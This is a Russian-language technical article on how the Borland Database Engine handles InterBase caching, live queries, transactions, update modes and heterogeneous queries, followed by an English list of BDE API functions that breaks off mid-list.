Фильтрация TTable и TQuery происходит с учетом живого или мертвого кэша. Для TTable при наложении фильтра конструируется соответствующий SQL-запрос, а TQuery производит фильтрацию буквально при помощи Locate (т.е. сначала выбираются все записи в кэш, а затем идет фильтрация уже в кэше).

О вреде UNIQUE constraint
В Interbase уникальность поля можно обеспечить тремя способами: создать первичный ключ, создать unique constraint, и создать уникальный индекс. Но при чем здесь Interbase? А при том, что BDE открывает TTable по умолчанию с использованием уникального индекса. Если таблица одновременно содержит как первичный ключ, так и unique constraint, то в результате у таблицы 2 уникальных индекса. При обращении к списку индексов TTable берет для сортировки по умолчанию первый попавшийся. Если уникальность поля обеспечивается обычным уникальным индексом, то проблем нет. А вот если та же уникальность обеспечивается через UNIQUE constraint, то при backup/restore базы данных есть шанс что порядковые номера индексов поменяются (поскольку для IB это constraint целостности), и BDE будет брать в качестве первого попавшегося индекс от unique constraint вместо индекса от primary key. Вреда от этого, в общем, никакого нет, но в результате это вызывает нежелательный порядок сортировки по умолчанию в приложениях.

"Живые" запросы
Если способность TTable редактировать и удалять записи ни у кого не вызывает удивления, то TQuery требует, чтобы свойство RequestLive было установлено в True. Если при False запрос отправлялся непосредственно на сервер, то при True запрос предварительно обрабатывается локальным SQL (модуль IDSQL32.DLL). Это необходимо для того, чтобы TQuery смог сформировать запросы INSERT/UPDATE/DELETE на основании заданного SELECT. Для TTable построение таких запросов не представляет сложности, т.к. задано только имя таблицы, имена полей считаны и т.п. А существующий SQL-запрос нужно синтаксически разобрать, чтобы понять, сколько в нем используется таблиц, какие выбираются поля и из каких таблиц, и можно ли вообще сформировать запросы на вставку, обновление и удаление данных.
Именно таким разбором SQL и занимается Local SQL. Разумеется, он поддерживает весьма ограниченный синтаксис SQL, что не позволяет делать "живыми" запросы, использующие расширенные конструкции SQL, пользовательские функции или специфические для конкретного сервера особенности. Например, для организации живого запроса вместо
SELECT * FROM TABLE
WHERE FIELD STARTING WITH 'A'

придется писать

SELECT * FROM TABLE
WHERE FIELD LIKE 'A%'

Подобную замену еще можно пережить, но не всегда возможно найти замену конструкции, которую не понимает Local SQL, и прекрасно понимает сервер.
примечание: вы сами можете убедиться в изложенном, поместив первый запрос в TQuery, переключив RequestLive в True. Попытайтесь установить Active компонента в True и посмотрите что получится.
Собственно, как вы поняли, на самом деле никаких "живых" запросов не существует. В SQL оператор SELECT выполняет только чтение, а вставить, обновить или удалить записи можно только операторами INSERT, UPDATE и DELETE, и никак иначе.
При переключении TQuery.RequestLive:=True TQuery начинает вести себя как TTable - т.е. он сначала разбирает запрос, извлекает оттуда имя таблицы, и потом выбирает информацию из системных таблиц о полях таблицы, индексах и т.п. Вы можете все это увидеть в SQL Monitor.
Кроме RequestLive можно еще воспользоваться и компонентом UpdateSQL. Об этом см. дальше в разделе CachedUpdates.

SQLQUERYMODE
Кроме RequestLive на выполнение запросов влияет и параметр алиаса или драйвера IB SQLQUERYMODE. Когда этот параметр установлен в LOCAL, BDE всегда производит разбор SQL-конструкций при помощи Local SQL. Если параметр установлен в "пусто", то BDE сначала пытается отправить SQL на сервер, а при получении ошибки пытается выполнить его Local SQL. При установленном параметре SERVER запросы всегда отправляются только на сервер (за исключением "живых").
Таким образом, при установке LOCAL запросы будут всегда выполняться локальным ядром SQL BDE, и функциональность SQL IB будет недоступна (не будут выполняться запросы с containing и др. синтаксисом, который не поддерживает Local SQL). Избавиться от такого поведения лучше всего установив раз и навсегда значение SERVER.

Refresh и атомарность запросов
Читатель уже после информации о живом и мертвом кэше, наверное, давно хочет спросить - а как же BDE видит новые записи, добавляемые другими приложениями? Да никак. С TTable все понятно - в любой момент можно вызвать refresh, что приведет к удалению "живого" кэша и переоткрытию TTable как мы уже видели в разделе о кэшах записей. TTable перед своим закрытием запоминает запись, на которой стоял курсор грида, и поэтому после открытия может спозиционироваться на эту же запись.
TQuery работает с "мертвым" кэшем, поэтому обновлять его невозможно. BDE не знает о том, какое из полей в запросе является первичным ключом, да и вообще по скольким таблицам построен запрос. Поэтому единственным вариантом для refresh является переоткрытие TQuery (Close/Open). Текущая запись при этом будет потеряна. Можно, правда, попытаться использовать TBookmark чтобы запомнить запись и вернуться к ней после открытия TQuery, но как и Locate это вызовет выборку всех записей с сервера в кэш TQuery и при большом количестве выбираемых записей может занять длительное время.
примечание: Даже если компонент IBX IBTable и поддерживает Refresh, то он его выполняют точно таким же образом, что и BDE. А компонент IBDataSet выполняет Refresh только для одной, текущей, записи.
В чтение актуальных данных вмешивается еще и атомарность операторов SQL. Применительно к SELECT это означает, что он будет выбирать только те записи, которые существовали на момент выполнения этого SELECT. Это означает, что если открыть TQuery, а затем через 5 минут подсоединить его к гриду, то в нем будут видны только те записи, которые были в базе данных 5 минут назад. Даже если за это время это же самое приложение в этой же транзакции успело добавить, изменить или удалить 1 или сколь угодно большее количество записей, попадающих под условия выборки данного SELECT.
В буквальном смысле это означает, что если вставить запись в открытый select, то увидеть новую запись нельзя. Для этого придется переоткрыть запрос. По отношению к TQuery это справедливо, а вот TTable "обманывает" пользователя, помещая данные успешно вставленной записи прямо в свой собственный кэш. Таким образом, вставка в TTable как бы помещает данные прямо в открытую выборку. Чего, собственно, на самом деле на сервере не происходит.
Вообще перечитывание данных почти всегда вызывает проблемы. Сервер не уведомляет клиентов, что определенные записи изменились, появились или были удалены. EventAlerter может сообщить только информацию что некое событие (например, была изменена таблица) произошло, но не "номер записи". В многопользовательской среде перечитывание данных по таймеру может вызвать большой сетевой трафик. Да и кроме того, клиент обычно видит в гриде только какую-то часть данных, и идеальным вариантом было бы не только узнать, что в именно этой части данных произошли изменения, но и перечитать только эту часть. В итоге, самым разумным вариантом является помещение в приложение на нужную форму кнопки Refresh (Перечитать). Пусть пользователь решает, когда ему нужно это сделать.
примечание: в отличие от атомарного SELECT, оператор FOR SELECT внутри процедур IB не является атомарным. Т.е. если в цикле FOR SELECT добавлять записи, то они могут попасть в область видимости FOR SELECT, и может произойти "бесконечный цикл". Также в IB неатомарной является конструкция INSERT INTO ... SELECT FROM.

Завершение транзакций
BDE устроен так, что компонент TDatabase может работать только с одной транзакцией одновременно. При этом может быть два режима - неявная работа с транзакциями (AUTOCOMMIT, NOAUTOCOMMIT), и явная работа с транзакциями (методы StartTransaction, Commit и Rollback). В режиме AUTOCOMMIT BDE самостоятельно завершает транзакцию и стартует новую при любых модификациях данных (insert/update/delete) или при вызове TStoredProc.ExecProc. Таким образом изменения автоматически сохраняются в базе данных. Однако чтение данных и вообще работа с ними может быть выполнена только в контексте транзакции. Т.е. вне транзакции с данными работать нельзя, т.к. не будет обеспечиваться целостность данных. При этом данные, прочитанные в одной транзакции, неактуальны для другой транзакции. Если посмотреть справку BDE32.HLP по функции dbiEndTran, то можно обнаружить, что BDE при завершении явной или неявной транзакции ведет себя следующим образом:
· открытый query довыбирает данные.
· открытый table закрывается
другие случаи я не упомянул, потому что IB SQL Link их не поддерживает. То есть при любом завершении транзакции (и открытии новой) данные будут перечитываться. Для TTable это не смертельно, т.к. он знает первичный ключ записи, на которой стоял курсор грида, и может перечитать немного данных, чтобы заново отобразить их. А вот для TQuery, который не знает никаких первичных ключей, происходит полная выборка всех данных, что эквивалентно вызову Locate, FetchAll или Last. Так что если ваше приложение при обновлении данных почему-то сильно тормозит, или возникают паузы, то нужно срочно смотреть в SQL Monitor, какие именно запросы перечитываются.
примечание: иногда по неизвестным причинам BDE перечитывает запросы, которые совершенно этого не требуют. Например мне встречалась ситуация с неявным перевыполнением запроса при перемещении по grid-у detail-таблицы, причем запрос никак не был связан ни с master ни с detail-таблицами. Избавиться от проблемы не удалось.
Соответственно, чтобы предотвратить плохую производительность, нужно или держать минимум данных открытыми в TQuery, или стремиться к минимизации количества записей, выбираемых TQuery. Также можно открыть второй TDatabase, и работать например со справочными таблицами только в нем. Таким образом изменения будут идти в одном коннекте, и не будут вызывать завершение транзакции и перечитывание данных в другом. В компонентах прямого доступа это решается более простым способом, т.к. там поддерживается произвольное количество транзакций для одного коннекта. Есть, кстати, и оригинальное решение, которое позволяет использовать коннект TDatabase совместно с компонентами FreeIBComponents или IBX:
var h: tisc_db_handle;
 DB:=TIBDatabase.Create(nil);
   try
      Dbtables.Check(DbiGetProp(HDBIOBJ(DMCommBilling.Database.Handle),
                                       dbNATIVEHNDL, @h, sizeof(tisc_db_handle), l));
      DB.DBName:='Cloned';
      DB.Handle:=h;
      TR:=TIBTransaction.Create(nil);
       try

и так далее. Таким образом, в приложении BDE можно дополнительно обрабатывать данные в транзакциях IBX. Приложение получается комбинированным, поскольку для доступа к данным в новой транзакции придется использовать компоненты IBX.

Record/Key deleted
Надо сказать, что BDE облегчает жизнь программисту хотя бы тем, что перечитывает запись, которую собирается редактировать пользователь. Т.е. как только BDE переводит TTable или "живой" TQuery в режим Edit, он производит выборку текущей записи (по первичному ключу) и показывает для редактирования самые последние, актуальные, данные. Правда, пока пользователь редактирует запись, ее могут изменить или даже удалить другие пользователи - BDE никоим образом не "блокирует" запись, которая редактируется, т.к. в SQL вообще нет команды вроде "заблокировать запись". Поэтому после Post клиент может обнаружить, что его изменения не попадут в базу данных, т.к. запись уже изменилась или удалена. И обнаружит он это или нет, зависит от режима TDataSet.UpdateMode.
UpdateMode имеет 3 режима
· upWhereAll, по умолчанию - BDE пытается сделать UPDATE с внесением в условие WHERE всех значений полей, которые были ДО момента редактирования. Если при этом произошла ошибка, значит хотя бы одно поле у редактируемой записи уже было кем-то изменено (с момента входа в режим редактирования до момента Post).
· upWhereChanged - BDE пытается сделать UPDATE с условием WHERE, проверяющим старые значения только измененных полей. Т.е. чтобы убедиться, что пользователь поменял именно те значения полей, которые видел, на новые. Если произошла ошибка, то это значит что одно из изменяемых полей было уже кем-то изменено.
· upWhereKeyOnly - BDE обновляет запись, устанавливая в WHERE поиск записи только по ее первичному ключу.
Соответственно, если запись не найдена, то выдается упомянутое в заголовке сообщение Record/Key deleted.
примечание: найдена запись или нет, определяется анализом переменной RowsAffected, куда заносится информация после выполнения запросов UPDATE/DELETE. Если RowsAffected = 0, то Record/Key Deleted.
С RowsAffected связана еще одна проблема, когда BDE для "живых" запросов при использовании TUpdateSQL обязательно требует чтобы после выполнения запроса RowsAffected был равен 1. Если RowsAffected > 1 то выдается exception и неявная транзакция откатывается (rollback) (идея состоит в том, что раз в гриде вы стоите на одной записи, то при изменении или удалении этой записи изменяться должна тоже одна запись). Из-за этого запросы update и delete, которые должны соотвественно изменить или удалить более одной записи, приходится выполнять в отдельном TQuery.
Обратите внимание, что успешное обновление записи в режимах upWhereChanged или upWhereKeyOnly может вызвать проблемы с конкурентным обновлением. Например, существует таблица TABLE, у которой три поля: ID, NAME и PRICE.
Два пользователя открывают таблицу. Один видит, что для данного имени товара неверно указана цена. Другой счел, что цена правильная, только имя товара указано с ошибкой. У обоих UpdateMode установлен в upWhereKeyOnly или upWhereChanged.
После изменения пользователи по очереди нажимают Post (вероятность одновременного нажатия достаточно низка, а кто из них нажал на кнопку первым не имеет значения). В результате оказалось изменено и название товара и его цена, и комбинация этих полей опять содержит неправильную информацию!
В данном частном случае избавиться от проблемы можно установкой UpdateMode только upWhereAll, чтобы запрос при обновлении проверял все зависимые поля. Или, можно подключить компонент TUpdateSQL и прописать для обновления данных запрос, который будет проверять на "старые" значения и имя товара и его цену. Однако работать с TUpdateSQL без CachedUpdates невозможно.
Другая причина, по которой может происходить сообщение Record/Key deleted - перечитывание данных после их обновления. BDE таким образом (по крайней мере для TTable) пытается вставить запись в нужное место (в порядке сортировки) кэша. Но если после вставки или обновления запись на сервере изменилась - другим пользователем, default-условием или триггером (с генератором) - то BDE не сможет ее найти и выдаст упомянутое сообщение.
Если запись от момента редактирования до момента перечитывания была изменена другим пользователем, то тут ничего нельзя сделать. Если это был default или триггер, то вполне возможно, что лучше отказаться от считывания таких полей в DBGrid (вызовите FieldEditor). Если же это поле первичного ключа, которому в триггере присваивается значение генератора, то вам явно стоит прочитать старую статью, которая за 5 лет не потеряла своей актуальности.

RecordCount
Получение количества записей - самая вредная функция (или свойство). Вред ее в том, что клиент SQL-сервера (и сам сервер) до выборки последней записи не знает, сколько там их еще будет. Поэтому RecordCount в BDE обрабатывается двумя способами:
· TTable - поскольку известно имя таблицы, автоматически формируется запрос select count(*) from tablename. В Interbase это может привести к сборке мусора, и даже без нее будет выполняться достаточно долго, т.к. в силу многоверсионности IB для определения количества записей просматривает все версии записей таблицы, и определяет, какие из них "видны" данной транзакции.
· TQuery - если запрос "редактируемый", то BDE может сформировать select count(*) как в случае TTable. Но это удается не всегда, и обычным способом подсчета количества записей является внутренний FetchAll и подсчет закэшированных записей. Понятно, что при большом количестве записей, которые возвращает запрос, это тоже будет долго и основная нагрузка ляжет на сеть и клиента.
Другие клиентские библиотеки, как IBObjects, FreeIBComponents или IBX могут совершенно по другому "обслуживать" вызов RecordCount. Например FIBC и IBX в качестве возвращаемого значения используют текущее количество считанных записей в буфере. Т.е. после IBQuery.Open значение будет равно 0, затем по мере вызовов Next будет увеличиваться, и остановится только после EOF (или FetchAll), когда будут выбраны все записи. Такое поведение необходимо учитывать, чтобы при переходе с BDE на другие наборы компонент не пришлось сильно менять код приложения.
примечание: если говорить о count, т.е. подсчете количества записей в Interbase/Firebird, то в многопользовательской среде разные пользователи могут видеть разное количество записей в одной и той же таблице из-за версионности. Таким образом, результат count можно рассматривать только как приблизительный.

Cached Updates
При работе без CachedUpdates изменения, производимые над данными, отправляются на сервер немедленно. Это достаточно удобно, т.к. позволяет немедленно обнаруживать конфликты изменений, но не всегда хорошо для сетевого трафика если нет явного управления транзакциями или приводит к накоплению версий записей при длительных явных транзакциях. В первую очередь режим CachedUpdates подходит для "блокировочных" серверов, в которых чтение данных блокирует их от изменения (например MS SQL, Sybase).
CachedUpdates позволяет накопить изменения, и затем "выстрелить" их на сервер одним пакетом. При этом время блокировок минимально, минимален также сетевой трафик, но существует высокая вероятность что данные уже успели измениться. Поэтому при использовании CU необходимо тщательно планировать именно процесс обращения к таблицам и режимы UpdateMode.
За более подробной информацией по CachedUpdates обращайтесь к документации или к книге Шумакова ("Delphi 3 и создание приложений баз данных", в том числе последующие издания для Delphi 4 и 5 в соавторстве с Фароновым), где все это очень хорошо описано. Нас сейчас CU больше интересует как замена RequestLive.
Действительно, "оживление" запроса выполняется следующим образом - к компоненту TQuery подключается компонент TUpdateSQL, в котором прописываются вручную или автоматически запросы на вставку, удаление или изменение записи. Заметьте, только одной записи. После включения CachedUpdates:=True при модификации данных именно эти запросы, а не конструируемые Local SQL при RequestLive=True, будут отправляться на сервер (отправляются они только в момент ApplyUpdates, а не в момент реального обновления записи).
Самым непонятным является то, почему связка TQuery и TUpdateSQL не может работать без CachedUpdates. Например компоненты IBX без проблем обеспечивают такой режим, да и вообще там у TIBQuery нет свойства RequestLive (т.к. нет парсера SQL на клиентской стороне). Т.е. в IBX, конечно, можно использовать CachedUpdates, но разве что при действительной в нем необходимости.

Гетерогенные запросы
BDE обладает уникальной способностью выполнять запросы, которые обращаются к таблицам, находящимся на разных серверах баз данных (или к таблицам разных форматов). Это так называемые "гетерогенные" запросы. Иногда их называют "распределенными", т.к. данные "распределены" по разным базам данных возможно одного и того же SQL-сервера.
Выполнить гетерогенный запрос можно следующим образом:
1. открыть 2 или более TDatabase, каждый для соответствующей базы данных. Например, один компонент подсоединен как A к алиасу TEST, а другой, как
2. открыть TDatabase, который подсоединен к драйверу типа STANDARD(т.е. к локальным таблицам. Существование оных необязательно). См. окно свойств TDatabase.
3. выполнить запрос в компоненте TQuery, подсоединенном к "стандартному" TDatabase. В результате должна получиться такая "конструкция"

а запрос иметь вид

SELECT C.CLIENT_NAME
FROM ":A:CLIENTS" C, ":B:EMPLOYEE" E
WHERE E.EMP_NO = C.CLIENT_ID

Конечно, по смыслу это полная чушь, но зато показывает пример указания таблиц из разных базах данных. Еще один пример запроса можно найти по ключевой фразе 'heterogeneous joins' в BDE32.HLP.
Пока я готовил и проверял этот пример, установка Query1.Active в true вызывала страшные содрогания винчестера. Дело в том, что подобные запросы выполняются следующим образом:
1. ядро Local SQL "разбирает" запрос, и выясняет, какие таблицы из каких баз данных используются в запросе
2. данные из каждой таблицы вытаскиваются в локальный кэш (т.е. на клиента), в память или временные таблицы.
3. извлеченные данные обрабатываются локальным SQL (join, where, order by и т.п.).
Однако происходит так не всегда. По крайней мере в моем тестовом случае Local SQL начал выполнять просто чудовищные операции:
Сначала для одной, а затем для другой таблицы был выполнен SELECT COUNT(*). Т.е. Local SQL сначала пытается понять, во что ему обойдется скачивание данных на клиентскую часть. Очевидно, записей в CLIENTS ему показалось мало, и он вытащил все записи из EMPLOYEE, а потом начал последовательно выбирать соответствующие записи из CLIENTS отдельными запросами для каждой записи (проверяя соответствие условия WHERE). Буквально SELECT ... FROM CLIENTS WHERE CLIENT_ID = ? ORDER BY CLIENT_ID ASC.
(зачем здесь нужен order by - неизвестно). Почему произошло не наоборот, т.е. меньшая таблица не была выбрана в память, неясно.
Можно даже не упоминать, что select count(*) на реальных данных может выполняться долго (даже без учета возможной сборки мусора). Не говоря о том, что в EMPLOYEE было 42 записи, и отдельных запросов к таблице CLIENTS получилось тоже 42.
Вот такая веселая арифметика. Зато получены четкие объяснения, почему "трещал" винчестер.
Однако, пусть даже и таким жутким способом, но BDE умеет выполнять гетерогенные запросы. Благодаря Local SQL и тому, что BDE умеет работать с локальными таблицами (которые он использует для хранения промежуточных данных таких запросов). Ни IBObjects, ни fibc/IBX, ни IB API не имеют таких возможностей, и соответственно, не могут выполнять гетерогенные запросы.

Итог
После прочтения этой статьи может сложиться впечатление, что BDE вообще не пригоден для работы с SQL-серверами. На самом деле это не так. Если знать его архитектуру (надеюсь, статья вам в этом помогла), то можно снизить неэффективность BDE в приложениях до минимума.
Другой важный момент - скорость разработки. Она до сих пор остается самой высокой по сравнению с другими наборами компонент (даже с IBObjects). А скорость разработки - это в первую очередь более низкая стоимость разработки системы.
Кстати, может оказаться, что вся эта "неэффективность" в смысле большого объема передаваемых данных на вашей 100мбит сети и не проявится. А если сеть гигабитная, то вы вообще никакого лишнего трафика не заметите. И наоборот - для модемных соединений BDE, конечно, никуда не годится. Или если вам нужно тщательное планирование и управление транзакциями IB, то BDE здесь тоже делать нечего.
Есть и более жесткие критерии выбора - если вы собираетесь переходить на Kylix или IB6 (диалект 3), то c BDE придется расстаться. Если же в течение ближайшего года или полутора вы не собираетесь этого делать - забудьте об альтернативах, и продолжайте работать привычным способом.

(c) KDV, www.ibase.ru


Обзор BDE API

Cодержание раздела:

Работа с базами данных
Конфигурация и настройка
Работа с сессиями
Обработка исключений
Поддержка блокировок
Поддержка курсоров
Работа с индексами
Работа с запросами
Работа с таблицами
Доступ к данным
Управление транзакциями
Схемы и возможности
Работа с форматами данных


Работа с базами данных

Each function listed below returns information about a specific database, available databases, or performs a database-related task, such as opening or closing a database.

DbiCloseDatabase:
Closes a database and all tables associated with this database handle.

DbiGetDatabaseDesc:
Retrieves the description of the specified database from the configuration file.

DbiGetDirectory:
Retrieves the current working directory or the default directory.

DbiOpenDatabase:
Opens a database in the current session and returns a database handle.

DbiOpenDatabaseList:
Creates an in-memory table containing a list of accessible databases and their descriptions.

DbiOpenFileList:
Opens a cursor on the virtual table containing all the tables accessible by the client application
and their descriptions.

DbiOpenIndexList:
Opens a cursor on an in-memory table listing the indexes on a specified table, along with
their descriptions.

DbiOpenTableList:
Creates an in-memory table with information about all the tables accessible to the client application.
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Конфигурация и настройка

Each function listed below returns information about the client application environment, such as the supported table, field and index types for the driver type, or the available driver types. Functions in this category can also perform tasks that affect the client application environment, such as loading a driver.

DbiAddAlias:
Adds an alias to the BDE configuration file (IDAPI.CFG).

DbiAddDriver:
Adds a driver to the BDE configuration file (IDAPI.CFG). NEW FUNCTION BDE 4.0

DbiAnsiToNative:
Multipurpose translate function.

DbiDebugLayerOptions:
Activates, deactivates, or sets options for the BDE debug layer. OBSOLETE FUNCTION BDE 4.0

DbiDeleteAlias:
Deletes an alias from the BDE configuration file (IDAPI.CFG).

DbiDeleteDriver:
Deletes a driver from the BDE configuration file (IDAPI.CFG). NEW FUNCTION BDE 4.0

DbiDllExit:
Prepares the BDE to be disconnected within a DLL. NEW FUNCTION BDE 4.0

DbiExit:
Disconnects the client application from BDE.

DbiGetClientInfo:
Retrieves system-level information about the client application environment.

DbiGetDriverDesc:
Retrieves a description of a driver.

DbiGetLdName:
Retrieves the name of the language driver associated with the specified object name (table name).

DbiGetLdObj:
Retrieves the language driver object associated with the given cursor.

DbiGetNetUserName:
Retrieves the user's network login name. User names should be available for all networks
supported by Microsoft Windows.

DbiGetProp:
Returns a property of an object.

DbiGetSysConfig:
Retrieves BDE system configuration information.

DbiGetSysInfo:
Retrieves system status and information.

DbiGetSysVersion:
Retrieves the system version information, including the BDE version number, date, and time,
and the client interface version number.

DbiInit:
Initializes the BDE environment.

DbiLoadDriver:
Load a given driver.

DbiNativeToAnsi:
Translates a string in the native language driver to an ANSI string.

DbiOpenCfgInfoList:
Returns a handle to an in-memory table listing all the nodes in the configuration file
accessible by the specified path.

DbiOpenDriverList:
Creates an in-memory table containing a list of driver names available to the client application.

DbiOpenFieldTypesList:
Creates an in-memory table containing a list of field types supported by the table type for
the driver type.

DbiOpenFunctionArgList:
Returns a list of arguments to a data source function.

DbiOpenFunctionList:
Returns a description of a data source function.

DbiOpenIndexTypesList:
Creates an in-memory table containing a list of all supported index types for the driver type.

DbiOpenLdList:
Creates an in-memory table containing a list of available language drivers.

DbiOpenTableList:
Creates an in-memory table with information about all the tables accessible to the client application.

DbiOpenTableTypesList:
Creates an in-memory table listing table type names for the given driver.

DbiOpenUserList:
Creates an in-memory table containing a list of users sharing the same network file.

DbiSetProp:
Sets the specified property of an object to a given value.

DbiUseIdleTime:
Allows BDE to accomplish background tasks during times when the client application is idle.
OBSOLETE FUNCTION BDE 4.0
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Работа с сессиями

Each function listed below returns information about a session or performs a task that affects the session, such as starting a session or adding a password.

DbiAddPassword:
Adds a password to the current session.

DbiCheckRefresh:
Checks for remote updates to tables for all cursors in the current session, and refreshes the cursors
if changed.

DbiCloseSession:
Closes the session associated with the given session handle.

DbiDropPassword:
Removes a password from the current session.

DbiGetCallBack:
Returns a pointer to the function previously registered by the client for the given callback type.

DbiGetCurrSession:
Returns the handle associated with the current session.

DbiGetDateFormat:
Gets the date format for the current session.

DbiGetNumberFormat:
Gets the number format for the current session.

DbiGetSesInfo:
Retrieves the environment settings for the current session.

DbiGetTimeFormat:
Gets the time format for the current session.

DbiRegisterCallBack:
Registers a callback function for the client application.

DbiSetCurrSession:
Sets the current session of the client application to the session associated with hSes.

DbiSetDateFormat:
Sets the date format for the current session.

DbiSetNumberFormat:
Sets the number format for the current session.

DbiSetPrivateDir:
Sets the private directory for the current session.

DbiSetTimeFormat:
Sets the time format for the current session.

DbiStartSession:
Starts a new session for the client application.
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Обработка исключений

Each function listed below returns error handling information or performs a task that relates to error handling.

DbiGetErrorContext:
After receiving an error code back from a call, enables the client to probe BDE for more specific
error information.

DbiGetErrorEntry:
Returns the error description of a specified error stack entry.

DbiGetErrorInfo:
Provides descriptive error information about the last error that occurred.

DbiGetErrorString:
Returns the message associated with a given error code.
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Поддержка блокировок

Each function listed below returns information about lock status or acquires or releases a lock at the table or record level.

DbiAcqPersistTableLock:
Acquires an exclusive persistent lock on the table preventing other users from using the table
or creating a table of the same name.

DbiAcqTableLock:
Acquires a table-level lock on the table associated with the given cursor.

DbiGetRecord:
Record positioning functions have a lock parameter.

DbiIsRecordLocked:
Checks the lock status of the current record.

DbiIsTableLocked:
Returns the number of locks of a specified type acquired on the table associated with the
given session.

DbiIsTableShared:
Determines whether the table is physically shared or not.

DbiOpenLockList:
Creates an in-memory table containing a list of locks acquired on the table.

DbiOpenUserList:
Creates an in-memory table containing a list of users sharing the same network file.

DbiRelPersistTableLock:
Releases the persistent table lock on the specified table.

DbiRelRecordLock:
Releases the record lock on either the current record of the cursor or only the locks acquired
in the current session.

DbiRelTableLock:
Releases table locks of the specified type associated with the current session (the session in
which the cursor was created).

DbiSetLockRetry:
Sets the table and record lock retry time for the current session.
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Поддержка курсоров

Each function listed below returns information about a cursor, or performs a task that performs a cursor-related task such as positioning of a cursor, linking of cursors, creating and closing cursors, counting of records associated with a cursor, filtering, setting and comparing bookmarks, and refreshing all buffers associated with a cursor.

DbiActivateFilter:
Activates a filter.

DbiAddFilter:
Adds a filter to a table, but does not activate the filter (the record set is not yet altered).

DbiApplyDelayedUpdates:
When cached updates cursor layer is active, writes all modifications made to cached data to the
underlying database.

DbiBeginDelayedUpdates:
Creates a cached updates cursor layer so that users can make extended changes to temporarily
cached table data without writing to the actual table, thereby minimizing resource locking.

DbiBeginLinkMode:
Converts a cursor to a link cursor. Given an open cursor, prepares for linked access. Returns a
new cursor.

DbiCloneCursor:
Creates a new cursor (clone cursor) which has the same result set as the given cursor
(source cursor).

DbiCloseCursor:
Closes a previously opened cursor.

DbiCompareBookMarks:
Compares the relative positions of two bookmarks in the result set associated with the cursor.

DbiDeactivateFilter:
Temporarily stops the specified filter from affecting the record set by turning the filter off.

DbiDropFilter:
Deactivates and removes a filter from memory, and frees all resources.

DbiEndDelayedUpdates:
Closes a cached updates cursor layer ending the cached updates mode.

DbiEndLinkMode:
Ends linked cursor mode, and returns the original cursor.

DbiExtractKey:
Retrieves the key value for the current record of the given cursor or from the supplied record buffer.

DbiForceRecordReread:
Rereads a single record from the server on demand, refreshing one row only, rather than clearing
the cache.

DbiForceReread:
Refreshes all buffers associated with the cursor, if necessary.

DbiFormFullName:
Returns the fully qualified table name.

DbiGetBookMark:
Saves the current position of a cursor to the client-supplied buffer called a bookmark.

DbiGetCursorForTable:
Finds the cursor for the given table.

DbiGetCursorProps:
Returns the properties of the cursor.

DbiGetExactRecordCount:
Retrieves the current exact number of records associated with the cursor. NEW FUNCTION BDE 4.0

DbiGetFieldDescs:
Retrieves a list of descriptors for all the fields in the table associated with the cursor.

DbiGetLinkStatus:
Returns the link status of the cursor.

DbiGetNextRecord:
Retrieves the next record in the table associated with the cursor.

DbiGetPriorRecord:
Retrieves the previous record in the table associated with the given cursor.

DbiGetProp:
Returns a property of an object.

DbiGetRecord:
Retrieves the current record, if any, in the table associated with the cursor.

DbiGetRecordCount:
Retrieves the current number of records associated with the cursor.

DbiGetRecordForKey:
Finds and retrieves a record matching a key and positions the cursor on that record.

DbiGetRelativeRecord:
Positions the cursor on a record in the table relative to the current position of the cursor.

DbiGetSeqNo:
Retrieves the sequence number of the current record in the table associated with the cursor.

DbiLinkDetail:
Establishes a link between two tables such that the detail table has its record set limited to the
set of records matching the linking key values of the master table cursor.

DbiLinkDetailToExp:
Links the detail cursor to the master cursor using an expression.

DbiMakePermanent:
Changes a temporary table created by DbiCreateTempTable into a permanent table.

DbiOpenTable:
Opens the given table for access and associates a cursor handle with the opened table.

DbiResetRange:
Removes the specified table's limited range previously established by the function DbiSetRange.

DbiSaveChanges:
Forces all updated records associated with the cursor to disk.

DbiSetFieldMap:
Sets a field map of the table associated with the given cursor.

DbiSetProp:
Sets the specified property of an object to a given value.

DbiSetRange:
Sets a range on the result set associated with the cursor.

DbiSetToBegin:
Positions the cursor to BOF (just before the first record).

DbiSetToBookMark:
Positions the cursor to the location saved in the specified bookmark.

DbiSetToCursor:
Sets the position of one cursor (the destination cursor) to that of another (the source cursor).

DbiSetToEnd:
Positions the cursor to EOF (just after the last record).

DbiSetToKey:
Positions an index-based cursor on a key value.

DbiSetToRecordNo:
Positions the cursor of a dBASE table to the given physical record number.

DbiSetToSeqNo:
Positions the cursor to the specified sequence number of a Paradox table.

DbiUnlinkDetail:
Removes a link between two cursors.
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Работа с индексами

Each function listed below returns information about an index or indexes, or performs a task that affects an index, such as dropping it, deleting it, or adding it.

DbiAddIndex:
Creates an index on an existing table.

DbiCloseIndex:
Closes the specified index on a cursor.

DbiCompareKeys:
Compares two key values based on the current index of the cursor.

DbiDeleteIndex:
Drops an index on a table.

DbiExtractKey:
Retrieves the key value for the current record of the given cursor or from the supplied record buffer.

DbiGetIndexDesc:
Retrieves the properties of the given index associated with the cursor.

DbiGetIndexDescs:
Retrieves index properties.

DbiGetIndexForField:
Returns the description of any useful index on the specified field.

DbiGetIndexSeqNo:
Retrieves the ordinal number of the index in the index list of the specified cursor.

DbiGetIndexTypeDesc:
Retrieves a description of the index type.

DbiOpenIndex:
Opens the index for the table associated with the cursor.

DbiRegenIndex:
Regenerates an index to make sure that it is up-to-date (all records currently in the table
are included in the index and are in the index order).

DbiRegenIndexes:
Regenerates all out-of-date indexes on a given table.

DbiSwitchToIndex:
Allows the user to change the active index order of the given cursor.
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Работа с запросами

Each function listed below performs a query task, such as preparing and executing a SQL or QBE query.

DbiGetProp:
Returns a property of an object.

DbiQAlloc:
Allocates a new statement handle for a prepared query.

DbiQExec:
Executes the previously prepared query identified by the supplied statement handle and
returns a cursor to the result set, if one is generated.

DbiQExecDirect:
Executes a SQL or QBE query and returns a cursor to the result set, if one is generated.

DbiQExecProcDirect:
Executes a stored procedure and returns a cursor to the result set, if one is generated.

DbiQFree:
Frees the resources associated with a previously prepared query identified by the supplied
statement handle.

DbiQGetBaseDescs:
Returns the original database, table, and field names of the fields that make up the result
set of a query.

DbiQInstantiateAnswer:
Creates a permanent table from the cursor to the result set.

DbiQPrepare:
